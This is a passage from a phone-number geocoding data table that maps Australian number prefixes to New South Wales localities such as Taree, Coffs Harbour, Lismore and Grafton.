'61255646':{'en': 'Murrurundi'},
'61255647':{'en': 'Muswellbrook'},
'61255648':{'en': 'Pacific Palms'},
'61255649':{'en': 'Port Macquarie'},
'61255650':{'en': 'Putty'},
'61255651':{'en': 'Ravensworth'},
'61255652':{'en': 'Rawdon Vale'},
'61255653':{'en': 'Rookhurst'},
'61255654':{'en': 'Scone'},
'61255655':{'en': 'Singleton'},
'61255656':{'en': 'Smithtown'},
'61255657':{'en': 'Stuarts Point'},
'61255658':{'en': 'Taree'},
'61255659':{'en': 'Taylors Arm'},
'61255660':{'en': 'Telegraph Point'},
'61255661':{'en': 'Toorooka'},
'61255662':{'en': 'Widden Valley'},
'61255663':{'en': 'Baerami'},
'61255664':{'en': 'Bowraville'},
'61255665':{'en': 'Broke'},
'61255666':{'en': 'Bunnan'},
'61255667':{'en': 'Byabarra'},
'61255668':{'en': 'Castle Rock'},
'61255669':{'en': 'Comara'},
'61255670':{'en': 'Comboyne'},
'61255671':{'en': 'Coopernook'},
'61255672':{'en': 'Denman'},
'61255673':{'en': 'Ellenborough'},
'61255674':{'en': 'Ellerston'},
'61255675':{'en': 'Forster'},
'61255676':{'en': 'Glendonbrook'},
'61255677':{'en': 'Gloucester'},
'61255678':{'en': 'Howes Valley'},
'61255679':{'en': 'Hunter Springs'},
'61255680':{'en': 'Idaville'},
'61255681':{'en': 'Jerrys Plains'},
'61255682':{'en': 'Kempsey'},
'61255683':{'en': 'Krambach'},
'61255684':{'en': 'Lord Howe Island'},
'61255685':{'en': 'Macksville'},
'61255686':{'en': 'Merriwa'},
'61255687':{'en': 'Moonan Flat'},
'61255688':{'en': 'Mount George'},
'61255689':{'en': 'Mount Olive'},
'61255690':{'en': 'Murrurundi'},
'61255691':{'en': 'Muswellbrook'},
'61255692':{'en': 'Pacific Palms'},
'61255693':{'en': 'Port Macquarie'},
'61255694':{'en': 'Putty'},
'61255695':{'en': 'Ravensworth'},
'61255696':{'en': 'Rawdon Vale'},
'61255697':{'en': 'Rookhurst'},
'61255698':{'en': 'Scone'},
'61255699':{'en': 'Singleton'},
'61255700':{'en': 'Smithtown'},
'61255701':{'en': 'Stuarts Point'},
'61255702':{'en': 'Taree'},
'61255703':{'en': 'Taylors Arm'},
'61255704':{'en': 'Telegraph Point'},
'61255705':{'en': 'Toorooka'},
'61255706':{'en': 'Widden Valley'},
'61255707':{'en': 'Baerami'},
'61255708':{'en': 'Bowraville'},
'61255709':{'en': 'Broke'},
'61255710':{'en': 'Bunnan'},
'61255711':{'en': 'Byabarra'},
'61255712':{'en': 'Castle Rock'},
'61255713':{'en': 'Comara'},
'61255714':{'en': 'Comboyne'},
'61255715':{'en': 'Coopernook'},
'61255716':{'en': 'Denman'},
'61255717':{'en': 'Ellenborough'},
'61255718':{'en': 'Ellerston'},
'61255719':{'en': 'Forster'},
'61255720':{'en': 'Glendonbrook'},
'61255721':{'en': 'Gloucester'},
'61255722':{'en': 'Howes Valley'},
'61255723':{'en': 'Hunter Springs'},
'61255724':{'en': 'Idaville'},
'61255725':{'en': 'Jerrys Plains'},
'61255726':{'en': 'Kempsey'},
'61255727':{'en': 'Krambach'},
'61255728':{'en': 'Lord Howe Island'},
'61255729':{'en': 'Macksville'},
'61255730':{'en': 'Merriwa'},
'61255731':{'en': 'Moonan Flat'},
'61255732':{'en': 'Mount George'},
'61255733':{'en': 'Mount Olive'},
'61255734':{'en': 'Murrurundi'},
'61255735':{'en': 'Muswellbrook'},
'61255736':{'en': 'Pacific Palms'},
'61255737':{'en': 'Port Macquarie'},
'61255738':{'en': 'Putty'},
'61255739':{'en': 'Ravensworth'},
'61255740':{'en': 'Rawdon Vale'},
'61255741':{'en': 'Rookhurst'},
'61255742':{'en': 'Scone'},
'61255743':{'en': 'Singleton'},
'61255744':{'en': 'Smithtown'},
'61255745':{'en': 'Stuarts Point'},
'61255746':{'en': 'Taree'},
'61255747':{'en': 'Taylors Arm'},
'61255748':{'en': 'Telegraph Point'},
'61255749':{'en': 'Toorooka'},
'61255750':{'en': 'Widden Valley'},
'6125590':{'en': 'Port Macquarie'},
'61255910':{'en': 'Kempsey'},
'61255911':{'en': 'Macksville'},
'61255912':{'en': 'Smithtown'},
'61255913':{'en': 'Muswellbrook'},
'61255914':{'en': 'Scone'},
'61255915':{'en': 'Singleton'},
'61255916':{'en': 'Coopernook'},
'61255917':{'en': 'Forster'},
'61255918':{'en': 'Taree'},
'61255919':{'en': 'Macksville'},
'61255921':{'en': 'Ravensworth'},
'61255922':{'en': 'Ravensworth'},
'61255923':{'en': 'Mount Olive'},
'61255924':{'en': 'Mount Olive'},
'61255925':{'en': 'Jerrys Plains'},
'61255926':{'en': 'Jerrys Plains'},
'61255927':{'en': 'Singleton'},
'61255928':{'en': 'Singleton'},
'61255930':{'en': 'Taree'},
'61255931':{'en': 'Taree'},
'61255932':{'en': 'Howes Valley'},
'61255933':{'en': 'Howes Valley'},
'61255934':{'en': 'Putty'},
'61255935':{'en': 'Putty'},
'61255936':{'en': 'Lord Howe Island'},
'61255937':{'en': 'Lord Howe Island'},
'61255938':{'en': 'Ravensworth'},
'61255939':{'en': 'Ravensworth'},
'61255941':{'en': 'Taree'},
'61255942':{'en': 'Taree'},
'61255943':{'en': 'Taree'},
'61255944':{'en': 'Baerami'},
'61255945':{'en': 'Muswellbrook'},
'61255946':{'en': 'Taree'},
'61255947':{'en': 'Taree'},
'61255948':{'en': 'Taree'},
'61255949':{'en': 'Taree'},
'61256000':{'en': 'Tabulam'},
'61256001':{'en': 'Whiporie'},
'61256002':{'en': 'Bellingen'},
'61256003':{'en': 'Dorrigo'},
'61256004':{'en': 'Hernani'},
'61256005':{'en': 'Thora'},
'61256006':{'en': 'Tyringham'},
'61256007':{'en': 'Ulong'},
'61256008':{'en': 'Copmanhurst'},
'61256009':{'en': 'Coutts Crossing'},
'61256010':{'en': 'Glenreagh'},
'61256011':{'en': 'Lawrence'},
'61256012':{'en': 'Maclean'},
'61256013':{'en': 'Wooli'},
'61256014':{'en': 'Ettrick'},
'61256015':{'en': 'Kyogle'},
'61256016':{'en': 'Urbenville'},
'61256017':{'en': 'Wiangaree'},
'61256018':{'en': 'Woodenbong'},
'61256019':{'en': 'Ballina'},
'61256020':{'en': 'Nimbin'},
'61256021':{'en': 'Woodburn'},
'61256022':{'en': 'Murwillumbah'},
'61256023':{'en': 'Tyalgum'},
'61256024':{'en': 'Bonalbo'},
'61256025':{'en': 'Casino'},
'61256026':{'en': 'Dyraaba'},
'61256027':{'en': 'Leeville'},
'61256028':{'en': 'Mallanganee'},
'61256029':{'en': 'Rappville'},
'61256030':{'en': 'Tabulam'},
'61256031':{'en': 'Whiporie'},
'61256032':{'en': 'Bellingen'},
'61256033':{'en': 'Coffs Harbour'},
'61256034':{'en': 'Dorrigo'},
'61256035':{'en': 'Hernani'},
'61256036':{'en': 'Thora'},
'61256037':{'en': 'Tyringham'},
'61256038':{'en': 'Ulong'},
'61256039':{'en': 'Copmanhurst'},
'61256040':{'en': 'Coutts Crossing'},
'61256041':{'en': 'Glenreagh'},
'61256042':{'en': 'Grafton'},
'61256043':{'en': 'Lawrence'},
'61256044':{'en': 'Maclean'},
'61256045':{'en': 'Wooli'},
'61256046':{'en': 'Ettrick'},
'61256047':{'en': 'Kyogle'},
'61256048':{'en': 'Urbenville'},
'61256049':{'en': 'Wiangaree'},
'61256050':{'en': 'Woodenbong'},
'61256051':{'en': 'Ballina'},
'61256052':{'en': 'Lismore'},
'61256053':{'en': 'Mullumbimby'},
'61256054':{'en': 'Nimbin'},
'61256055':{'en': 'Woodburn'},
'61256056':{'en': 'Murwillumbah'},
'61256057':{'en': 'Tyalgum'},
'61256058':{'en': 'Lismore'},
'61256059':{'en': 'Bonalbo'},
'6125606':{'en': 'Coffs Harbour'},
'61256070':{'en': 'Casino'},
'61256071':{'en': 'Casino'},
'61256072':{'en': 'Rappville'},
'61256073':{'en': 'Mallanganee'},
'61256074':{'en': 'Ettrick'},
'61256075':{'en': 'Tabulam'},
'61256076':{'en': 'Dorrigo'},
'61256077':{'en': 'Bellingen'},
'61256078':{'en': 'Coffs Harbour'},
'61256079':{'en': 'Dorrigo'},
'61256080':{'en': 'Hernani'},
'61256081':{'en': 'Thora'},
'61256082':{'en': 'Tyringham'},
'61256083':{'en': 'Ulong'},
'61256084':{'en': 'Woodenbong'},
'61256085':{'en': 'Kyogle'},
'61256086':{'en': 'Copmanhurst'},
'61256087':{'en': 'Grafton'},
'61256088':{'en': 'Lawrence'},
'61256089':{'en': 'Maclean'},
'61256090':{'en': 'Wooli'},
'61256091':{'en': 'Hernani'},
'61256092':{'en': 'Leeville'},
'61256093':{'en': 'Nimbin'},
'61256094':{'en': 'Tabulam'},
'61256095':{'en': 'Woodenbong'},
'61256096':{'en': 'Ballina'},
'61256097':{'en': 'Lismore'},
'61256098':{'en': 'Mullumbimby'},
'61256099':{'en': 'Nimbin'},
'61256100':{'en': 'Woodburn'},
'61256101':{'en': 'Murwillumbah'},
'61256102':{'en': 'Tyalgum'},
'61256103':{'en': 'Murwillumbah'},
'61256104':{'en': 'Murwillumbah'},
'61256105':{'en': 'Grafton'},
'61256106':{'en': 'Lismore'},
'61256107':{'en': 'Ettrick'},
'61256108':{'en': 'Ettrick'},
'61256109':{'en': 'Lismore'},
'61256110':{'en': 'Casino'},
'61256111':{'en': 'Bellingen'},
'61256112':{'en': 'Grafton'},
'61256113':{'en': 'Maclean'},
'61256114':{'en': 'Kyogle'},
'61256115':{'en': 'Ballina'},
'61256116':{'en': 'Lismore'},
'61256117':{'en': 'Mullumbimby'},
'61256118':{'en': 'Woodburn'},
'61256119':{'en': 'Murwillumbah'},
'6125612':{'en': 'Coffs Harbour'},
'61256130':{'en': 'Ballina'},
'61256131':{'en': 'Lismore'},
'61256132':{'en': 'Woodburn'},
'61256133':{'en': 'Woodburn'},
'61256134':{'en': 'Dyraaba'},
'61256135':{'en': 'Dyraaba'},
'61256136':{'en': 'Murwillumbah'},
'61256137':{'en': 'Murwillumbah'},
'61256138':{'en': 'Lawrence'},
'61256139':{'en': 'Lawrence'},
'61256140':{'en': 'Leeville'},
'61256141':{'en': 'Leeville'},
'61256142':{'en': 'Urbenville'},
'61256143':{'en': 'Urbenville'},
'61256144':{'en': 'Nimbin'},
'61256145':{'en': 'Nimbin'},
'61256146':{'en': 'Tyalgum'},
'61256147':{'en': 'Tyalgum'},
'61256148':{'en': 'Mullumbimby'},
'61256149':{'en': 'Mullumbimby'},
'61256150':{'en': 'Lismore'},
'61256151':{'en': 'Lismore'},
'61256152':{'en': 'Ballina'},
'61256153':{'en': 'Ballina'},
'61256154':{'en': 'Wiangaree'},
'61256155':{'en': 'Wiangaree'},
'61256156':{'en': 'Kyogle'},
'61256157':{'en': 'Kyogle'},
'61256158':{'en': 'Coffs Harbour'},
'61256159':{'en': 'Coffs Harbour'},
'61256160':{'en': 'Coffs Harbour'},
'61256161':{'en': 'Coffs Harbour'},
'61256162':{'en': 'Woodenbong'},
'61256163':{'en': 'Woodenbong'},
'61256164':{'en': 'Lismore'},
'61256165':{'en': 'Lismore'},
'61256166':{'en': 'Casino'},
'61256167':{'en': 'Casino'},
'61256168':{'en': 'Coffs Harbour'},
'61256169':{'en': 'Grafton'},
'61256170':{'en': 'Mallanganee'},
'61256171':{'en': 'Mallanganee'},
'61256172':{'en': 'Whiporie'},
'61256173':{'en': 'Whiporie'},
'61256174':{'en': 'Bellingen'},
'61256175':{'en': 'Bellingen'},
'61256176':{'en': 'Coffs Harbour'},
'61256177':{'en': 'Coffs Harbour'},
'61256178':{'en': 'Dorrigo'},
'61256179':{'en': 'Dorrigo'},
'61256180':{'en': 'Thora'},
'61256181':{'en': 'Thora'},
'61256182':{'en': 'Tyringham'},
'61256183':{'en': 'Tyringham'},
'61256184':{'en': 'Coutts Crossing'},
'61256185':{'en': 'Coutts Crossing'},
'61256186':{'en': 'Glenreagh'},
'61256187':{'en': 'Glenreagh'},
'61256188':{'en': 'Grafton'},
'61256189':{'en': 'Grafton'},
'61256190':{'en': 'Maclean'},
'61256191':{'en': 'Maclean'},
'61256192':{'en': 'Coffs Harbour'},
'61256193':{'en': 'Ulong'},
'61256194':{'en': 'Ulong'},
'61256195':{'en': 'Copmanhurst'},
'61256196':{'en': 'Copmanhurst'},
'61256197':{'en': 'Wooli'},
'61256198':{'en': 'Wooli'},
'61256199':{'en': 'Grafton'},
'6125620':{'en': 'Casino'},
'61256205':{'en': 'Lismore'},
'61256206':{'en': 'Coffs Harbour'},
'61256207':{'en': 'Bonalbo'},
'61256208':{'en': 'Lawrence'},
'61256210':{'en': 'Dyraaba'},
'61256211':{'en': 'Grafton'},
'61256212':{'en': 'Leeville'},
'61256213':{'en': 'Coutts Crossing'},
'61256214':{'en': 'Mallanganee'},
'61256215':{'en': 'Maclean'},
'61256216':{'en': 'Tyalgum'},
'61256217':{'en': 'Copmanhurst'},
'61256218':{'en': 'Coffs Harbour'},
'61256219':{'en': 'Leeville'},
'61256220':{'en': 'Mallanganee'},
'61256221':{'en': 'Lismore'},
'61256222':{'en': 'Wooli'},
'61256223':{'en': 'Casino'},
'61256224':{'en': 'Grafton'},
'61256225':{'en': 'Tyringham'},
'61256226':{'en': 'Ballina'},
'61256227':{'en': 'Ulong'},
'61256228':{'en': 'Coffs Harbour'},
'61256229':{'en': 'Coffs Harbour'},
'61256230':{'en': 'Rappville'},
'61256231':{'en': 'Coffs Harbour'},
'61256232':{'en': 'Nimbin'},
'61256233':{'en': 'Kyogle'},
'61256234':{'en': 'Bellingen'},
'61256235':{'en': 'Glenreagh'},
'61256236':{'en': 'Woodburn'},
'61256237':{'en': 'Urbenville'},
'61256238':{'en': 'Woodenbong'},
'61256239':{'en': 'Tabulam'},
'61256240':{'en': 'Whiporie'},
'61256241':{'en': 'Dorrigo'},
'61256242':{'en': 'Whiporie'},
'61256243':{'en': 'Rappville'},
'61256244':{'en': 'Tabulam'},
'61256245':{'en': 'Mullumbimby'},
'61256246':{'en': 'Wiangaree'},
'61256247':{'en': 'Lismore'},
'61256248':{'en': 'Dyraaba'},
'61256249':{'en': 'Bellingen'},
'61256250':{'en': 'Coffs Harbour'},
'61256251':{'en': 'Hernani'},
'61256252':{'en': 'Murwillumbah'},
'61256253':{'en': 'Thora'},
'61256254':{'en': 'Ettrick'},
'61256255':{'en': 'Bonalbo'},
'61256256':{'en': 'Lawrence'},
'61256257':{'en': 'Leeville'},
'61256258':{'en': 'Coutts Crossing'},
'61256259':{'en': 'Dorrigo'},
'61256260':{'en': 'Hernani'},
'61256261':{'en': 'Mallanganee'},
'61256262':{'en': 'Maclean'},
'61256263':{'en': 'Tyalgum'},
'61256264':{'en': 'Copmanhurst'},
'61256265':{'en': 'Coffs Harbour'},
'61256266':{'en': 'Wooli'},
'61256267':{'en': 'Casino'},
'61256268':{'en': 'Grafton'},
'61256269':{'en': 'Thora'},
'61256270':{'en': 'Tyringham'},
'61256271':{'en': 'Tyringham'},
'61256272':{'en': 'Ballina'},
'61256273':{'en': 'Ulong'},
'61256274':{'en': 'Nimbin'},
'61256275':{'en': 'Kyogle'},
'61256276':{'en': 'Bellingen'},
'61256277':{'en': 'Glenreagh'},
'61256278':{'en': 'Woodburn'},
'61256279':{'en': 'Ulong'},
'61256280':{'en': 'Copmanhurst'},
'61256281':{'en': 'Urbenville'},
'61256282':{'en': 'Woodenbong'},
'61256283':{'en': 'Dorrigo'},
'61256284':{'en': 'Whiporie'},
'61256285':{'en': 'Rappville'},
'61256286':{'en': 'Tabulam'},
'61256287':{'en': 'Mullumbimby'},
'61256288':{'en': 'Wiangaree'},
'61256289':{'en': 'Coutts Crossing'},
'61256290':{'en': 'Glenreagh'},
'61256291':{'en': 'Lismore'},
'61256292':{'en': 'Dyraaba'},
'61256293':{'en': 'Hernani'},
'61256294':{'en': 'Murwillumbah'},
'61256295':{'en': 'Thora'},
'61256296':{'en': 'Ettrick'},
'61256297':{'en': 'Mullumbimby'},
'61256298':{'en': 'Maclean'},
'61256299':{'en': 'Grafton'},
'61256300':{'en': 'Lawrence'},
'61256301':{'en': 'Ballina'},
'61256302':{'en': 'Wooli'},
'61256303':{'en': 'Glenreagh'},
'61256304':{'en': 'Whiporie'},
'61256305':{'en': 'Tyringham'},
'61256306':{'en': 'Ulong'},
'61256307':{'en': 'Bonalbo'},
'61256308':{'en': 'Tyalgum'},
'61256309':{'en': 'Maclean'},
'61256310':{'en': 'Wooli'},
'61256311':{'en': 'Murwillumbah'},
'61256312':{'en': 'Wiangaree'},
'61256313':{'en': 'Woodburn'},
'61256314':{'en': 'Lawrence'},
'61256315':{'en': 'Coutts Crossing'},
'61256316':{'en': 'Thora'},
'61256317':{'en': 'Urbenville'},
'61256318':{'en': 'Ballina'},
'61256319':{'en': 'Ettrick'},
'61256320':{'en': 'Kyogle'},
'61256321':{'en': 'Lismore'},
'61256322':{'en': 'Bellingen'},
'61256323':{'en': 'Grafton'},
'61256324':{'en': 'Coffs Harbour'},
'61256325':{'en': 'Lismore'},
'61256326':{'en': 'Urbenville'},
'61256327':{'en': 'Wiangaree'},
'61256328':{'en': 'Woodenbong'},
'61256329':{'en': 'Ballina'},
'61256330':{'en': 'Lismore'},
'61256331':{'en': 'Mullumbimby'},
'61256332':{'en': 'Nimbin'},
'61256333':{'en': 'Woodburn'},
'61256334':{'en': 'Murwillumbah'},
'61256335':{'en': 'Tyalgum'},
'61256336':{'en': 'Coffs Harbour'},
'61256337':{'en': 'Dyraaba'},
'61256338':{'en': 'Mallanganee'},
'61256339':{'en': 'Coffs Harbour'},
'61256340':{'en': 'Grafton'},
'61256341':{'en': 'Grafton'},
'61256342':{'en': 'Maclean'},
'61256343':{'en': 'Maclean'},
'61256344':{'en': 'Coffs Harbour'},
'61256345':{'en': 'Grafton'},
'61256346':{'en': 'Grafton'},
'61256347':{'en': 'Grafton'},
'61256348':{'en': 'Ballina'},
'61256349':{'en': 'Bellingen'},
'61256350':{'en': 'Bonalbo'},
'61256351':{'en': 'Casino'},
'61256352':{'en': 'Coffs Harbour'},
'61256353':{'en': 'Copmanhurst'},
'61256354':{'en': 'Coutts Crossing'},
'61256355':{'en': 'Dorrigo'},
'61256356':{'en': 'Dyraaba'},
'61256357':{'en': 'Ettrick'},
'61256358':{'en': 'Glenreagh'},
'61256359':{'en': 'Grafton'},
'61256360':{'en': 'Hernani'},
'61256361':{'en': 'Kyogle'},
'61256362':{'en': 'Lawrence'},
'61256363':{'en': 'Leeville'},
'61256364':{'en': 'Lismore'},
'61256365':{'en': 'Maclean'},
'61256366':{'en': 'Mallanganee'},
'61256367':{'en': 'Mullumbimby'},
'61256368':{'en': 'Murwillumbah'},
'61256369':{'en': 'Nimbin'},
'61256370':{'en': 'Rappville'},
'61256371':{'en': 'Tabulam'},
'61256372':{'en': 'Thora'},
'61256373':{'en': 'Tyalgum'},
'61256374':{'en': 'Tyringham'},
'61256375':{'en': 'Ulong'},
'61256376':{'en': 'Urbenville'},
'61256377':{'en': 'Whiporie'},
'61256378':{'en': 'Wiangaree'},
'61256379':{'en': 'Woodburn'},
'61256380':{'en': 'Woodenbong'},
'61256381':{'en': 'Wooli'},
'61256382':{'en': 'Ballina'},
'61256383':{'en': 'Bellingen'},
'61256384':{'en': 'Bonalbo'},
'61256385':{'en': 'Casino'},
'61256386':{'en': 'Coffs Harbour'},
'61256387':{'en': 'Copmanhurst'},
'61256388':{'en': 'Coutts Crossing'},
'61256389':{'en': 'Dorrigo'},
'61256390':{'en': 'Dyraaba'},
'61256391':{'en': 'Ettrick'},
'61256392':{'en': 'Glenreagh'},
'61256393':{'en': 'Grafton'},
'61256394':{'en': 'Hernani'},
'61256395':{'en': 'Kyogle'},
'61256396':{'en': 'Lawrence'},
'61256397':{'en': 'Leeville'},
'61256398':{'en': 'Lismore'},
'61256399':{'en': 'Maclean'},
'61256400':{'en': 'Mallanganee'},
'61256401':{'en': 'Mullumbimby'},
'61256402':{'en': 'Murwillumbah'},
'61256403':{'en': 'Nimbin'},
'61256404':{'en': 'Rappville'},
'61256405':{'en': 'Tabulam'},
'61256406':{'en': 'Thora'},
'61256407':{'en': 'Tyalgum'},
'61256408':{'en': 'Tyringham'},
'61256409':{'en': 'Ulong'},
'61256410':{'en': 'Urbenville'},
'61256411':{'en': 'Whiporie'},
'61256412':{'en': 'Wiangaree'},
'61256413':{'en': 'Woodburn'},
'61256414':{'en': 'Woodenbong'},
'61256415':{'en': 'Wooli'},
'61256416':{'en': 'Bellingen'},
'61256417':{'en': 'Bellingen'},
'61256418':{'en': 'Bellingen'},
'61256419':{'en': 'Bellingen'},
'61256420':{'en': 'Ballina'},
'61256421':{'en': 'Bellingen'},
'61256422':{'en': 'Bonalbo'},
'61256423':{'en': 'Casino'},
'61256424':{'en': 'Coffs Harbour'},
'61256425':{'en': 'Copmanhurst'},
'61256426':{'en': 'Coutts Crossing'},
'61256427':{'en': 'Dorrigo'},
'61256428':{'en': 'Dyraaba'},
'61256429':{'en': 'Ettrick'},
'61256430':{'en': 'Glenreagh'},
'61256431':{'en': 'Grafton'},
'61256432':{'en': 'Hernani'},
'61256433':{'en': 'Kyogle'},
'61256434':{'en': 'Lawrence'},
'61256435':{'en': 'Leeville'},
'61256436':{'en': 'Lismore'},
'61256437':{'en': 'Maclean'},
'61256438':{'en': 'Mallanganee'},
'61256439':{'en': 'Mullumbimby'},
'61256440':{'en': 'Murwillumbah'},
'61256441':{'en': 'Nimbin'},
'61256442':{'en': 'Rappville'},
'61256443':{'en': 'Tabulam'},
'61256444':{'en': 'Thora'},
'61256445':{'en': 'Tyalgum'},
'61256446':{'en': 'Tyringham'},
'61256447':{'en': 'Ulong'},
'61256448':{'en': 'Urbenville'},
'61256449':{'en': 'Whiporie'},
'6125645':{'en': 'Coffs Harbour'},
'61256450':{'en': 'Grafton'},
'61256457':{'en': 'Lismore'},
'61256458':{'en': 'Lismore'},
'61256459':{'en': 'Grafton'},
'61256460':{'en': 'Wiangaree'},
'61256461':{'en': 'Ballina'},
'61256462':{'en': 'Ballina'},
'61256463':{'en': 'Coffs Harbour'},
'61256464':{'en': 'Coffs Harbour'},
'61256465':{'en': 'Coffs Harbour'},
'61256466':{'en': 'Coffs Harbour'},
'61256467':{'en': 'Coffs Harbour'},
'61256468':{'en': 'Woodburn'},
'61256469':{'en': 'Woodenbong'},
'61256470':{'en': 'Wooli'},
'61256471':{'en': 'Mullumbimby'},
'61256472':{'en': 'Mullumbimby'},
'61256473':{'en': 'Mullumbimby'},
'61256474':{'en': 'Ballina'},
'61256475':{'en': 'Ballina'},
'61256476':{'en': 'Ballina'},
'61256477':{'en': 'Bellingen'},
'61256478':{'en': 'Ballina'},
'61256479':{'en': 'Bellingen'},
'61256480':{'en': 'Bonalbo'},
'61256481':{'en': 'Casino'},
'61256482':{'en': 'Coffs Harbour'},
'61256483':{'en': 'Copmanhurst'},
'61256484':{'en': 'Coutts Crossing'},
'61256485':{'en': 'Ballina'},
'61256486':{'en': 'Bellingen'},
'61256487':{'en': 'Bonalbo'},
'61256488':{'en': 'Casino'},
'61256489':{'en': 'Coffs Harbour'},
'61256490':{'en': 'Copmanhurst'},
'61256491':{'en': 'Coutts Crossing'},
'61256492':{'en': 'Dorrigo'},
'61256493':{'en': 'Dyraaba'},
'61256494':{'en': 'Ettrick'},
'61256495':{'en': 'Glenreagh'},
'61256496':{'en': 'Grafton'},
'61256497':{'en': 'Hernani'},
'61256498':{'en': 'Kyogle'},
'61256499':{'en': 'Lawrence'},
'61256500':{'en': 'Leeville'},
'61256501':{'en': 'Lismore'},
'61256502':{'en': 'Maclean'},
'61256503':{'en': 'Mallanganee'},
'61256504':{'en': 'Mullumbimby'},
'61256505':{'en': 'Murwillumbah'},
'61256506':{'en': 'Nimbin'},
'61256507':{'en': 'Rappville'},
'61256508':{'en': 'Tabulam'},
'61256509':{'en': 'Thora'},
'61256510':{'en': 'Tyalgum'},
'61256511':{'en': 'Tyringham'},
'61256512':{'en': 'Ulong'},
'61256513':{'en': 'Urbenville'},
'61256514':{'en': 'Whiporie'},
'61256515':{'en': 'Wiangaree'},
'61256516':{'en': 'Woodburn'},
'61256517':{'en': 'Woodenbong'},
'61256518':{'en': 'Wooli'},
'61256519':{'en': 'Dorrigo'},
'61256520':{'en': 'Dyraaba'},
'61256521':{'en': 'Ettrick'},
'61256522':{'en': 'Glenreagh'},
'61256523':{'en': 'Grafton'},
'61256524':{'en': 'Hernani'},
'61256525':{'en': 'Kyogle'},
'61256526':{'en': 'Lawrence'},
'61256527':{'en': 'Leeville'},
'61256528':{'en': 'Lismore'},
'61256529':{'en': 'Maclean'},
'61256530':{'en': 'Mallanganee'},
'61256531':{'en': 'Mullumbimby'},
'61256532':{'en': 'Murwillumbah'},
'61256533':{'en': 'Nimbin'},
'61256534':{'en': 'Rappville'},
'61256535':{'en': 'Tabulam'},
'61256536':{'en': 'Thora'},
'61256537':{'en': 'Tyalgum'},
'61256538':{'en': 'Tyringham'},
'61256539':{'en': 'Ulong'},
'61256540':{'en': 'Urbenville'},
'61256541':{'en': 'Whiporie'},
'61256542':{'en': 'Wiangaree'},
'61256543':{'en': 'Woodburn'},
'61256544':{'en': 'Woodenbong'},
'61256545':{'en': 'Wooli'},
'61256546':{'en': 'Ballina'},
'61256547':{'en': 'Bellingen'},
'61256548':{'en': 'Bonalbo'},
'61256549':{'en': 'Casino'},
'61256550':{'en': 'Coffs Harbour'},
'61256551':{'en': 'Copmanhurst'},
'61256552':{'en': 'Coutts Crossing'},
'61256553':{'en': 'Dorrigo'},
'61256554':{'en': 'Dyraaba'},
'61256555':{'en': 'Ettrick'},
'61256556':{'en': 'Glenreagh'},
'61256557':{'en': 'Grafton'},
'61256558':{'en': 'Hernani'},
'61256559':{'en': 'Kyogle'},
'61256560':{'en': 'Lawrence'},
'61256561':{'en': 'Leeville'},
'61256562':{'en': 'Lismore'},
'61256563':{'en': 'Maclean'},
'61256564':{'en': 'Mallanganee'},
'61256565':{'en': 'Mullumbimby'},
'61256566':{'en': 'Murwillumbah'},
'61256567':{'en': 'Nimbin'},
'61256568':{'en': 'Rappville'},
'61256569':{'en': 'Tabulam'},
'61256570':{'en': 'Thora'},
'61256571':{'en': 'Tyalgum'},
'61256572':{'en': 'Tyringham'},
'61256573':{'en': 'Ulong'},
'61256574':{'en': 'Urbenville'},
'61256575':{'en': 'Whiporie'},
'61256576':{'en': 'Wiangaree'},
'61256577':{'en': 'Woodburn'},
'61256578':{'en': 'Woodenbong'},
'61256579':{'en': 'Wooli'},
'61256580':{'en': 'Ballina'},
'61256581':{'en': 'Bellingen'},
'61256582':{'en': 'Bonalbo'},
'61256583':{'en': 'Casino'},
'61256584':{'en': 'Coffs Harbour'},
'61256585':{'en': 'Copmanhurst'},
'61256586':{'en': 'Coutts Crossing'},
'61256587':{'en': 'Dorrigo'},
'61256588':{'en': 'Dyraaba'},
'61256589':{'en': 'Ettrick'},
'61256590':{'en': 'Glenreagh'},
'61256591':{'en': 'Grafton'},
'61256592':{'en': 'Hernani'},
'61256593':{'en': 'Kyogle'},
'61256594':{'en': 'Lawrence'},
'61256595':{'en': 'Leeville'},
'61256596':{'en': 'Lismore'},
'61256597':{'en': 'Maclean'},
'61256598':{'en': 'Mallanganee'},
'61256599':{'en': 'Mullumbimby'},
'61256600':{'en': 'Murwillumbah'},
'61256601':{'en': 'Nimbin'},
'61256602':{'en': 'Rappville'},
'61256603':{'en': 'Tabulam'},
'61256604':{'en': 'Thora'},
'61256605':{'en': 'Tyalgum'},
'61256606':{'en': 'Tyringham'},
'61256607':{'en': 'Ulong'},
'61256608':{'en': 'Urbenville'},
'61256609':{'en': 'Whiporie'},
'61256610':{'en': 'Wiangaree'},
'61256611':{'en': 'Woodburn'},
'61256612':{'en': 'Woodenbong'},
'61256613':{'en': 'Wooli'},
'61256614':{'en': 'Ballina'},
'61256615':{'en': 'Bellingen'},
'61256616':{'en': 'Bonalbo'},
'61256617':{'en': 'Casino'},
'61256618':{'en': 'Coffs Harbour'},
'61256619':{'en': 'Copmanhurst'},
'61256620':{'en': 'Coutts Crossing'},
'61256621':{'en': 'Dorrigo'},
'61256622':{'en': 'Dyraaba'},
'61256623':{'en': 'Ettrick'},
'61256624':{'en': 'Glenreagh'},
'61256625':{'en': 'Grafton'},
'61256626':{'en': 'Hernani'},
'61256627':{'en': 'Kyogle'},
'61256628':{'en': 'Lawrence'},
'61256629':{'en': 'Leeville'},
'61256630':{'en': 'Lismore'},
'61256631':{'en': 'Maclean'},
'61256632':{'en': 'Mallanganee'},
'61256633':{'en': 'Mullumbimby'},
'61256634':{'en': 'Murwillumbah'},
'61256635':{'en': 'Nimbin'},
'61256636':{'en': 'Rappville'},
'61256637':{'en': 'Tabulam'},
'61256638':{'en': 'Thora'},
'61256639':{'en': 'Tyalgum'},
'61256640':{'en': 'Tyringham'},
'61256641':{'en': 'Ulong'},
'61256642':{'en': 'Urbenville'},
'61256643':{'en': 'Whiporie'},
'61256644':{'en': 'Wiangaree'},
'61256645':{'en': 'Woodburn'},
'61256646':{'en': 'Woodenbong'},
'61256647':{'en': 'Wooli'},
'61256648':{'en': 'Murwillumbah'},
'61256660':{'en': 'Ballina'},
'61256661':{'en': 'Ballina'},
'61256662':{'en': 'Ballina'},
'61256663':{'en': 'Ballina'},
'61256664':{'en': 'Ballina'},
'61256665':{'en': 'Coffs Harbour'},
'61256666':{'en': 'Coffs Harbour'},
'61256667':{'en': 'Coffs Harbour'},
'61256668':{'en': 'Lismore'},
'61256981':{'en': 'Lismore'},
'61256982':{'en': 'Lismore'},
'61256983':{'en': 'Lismore'},
'61256984':{'en': 'Lismore'},
'61256985':{'en': 'Coffs Harbour'},
'61256986':{'en': 'Coffs Harbour'},
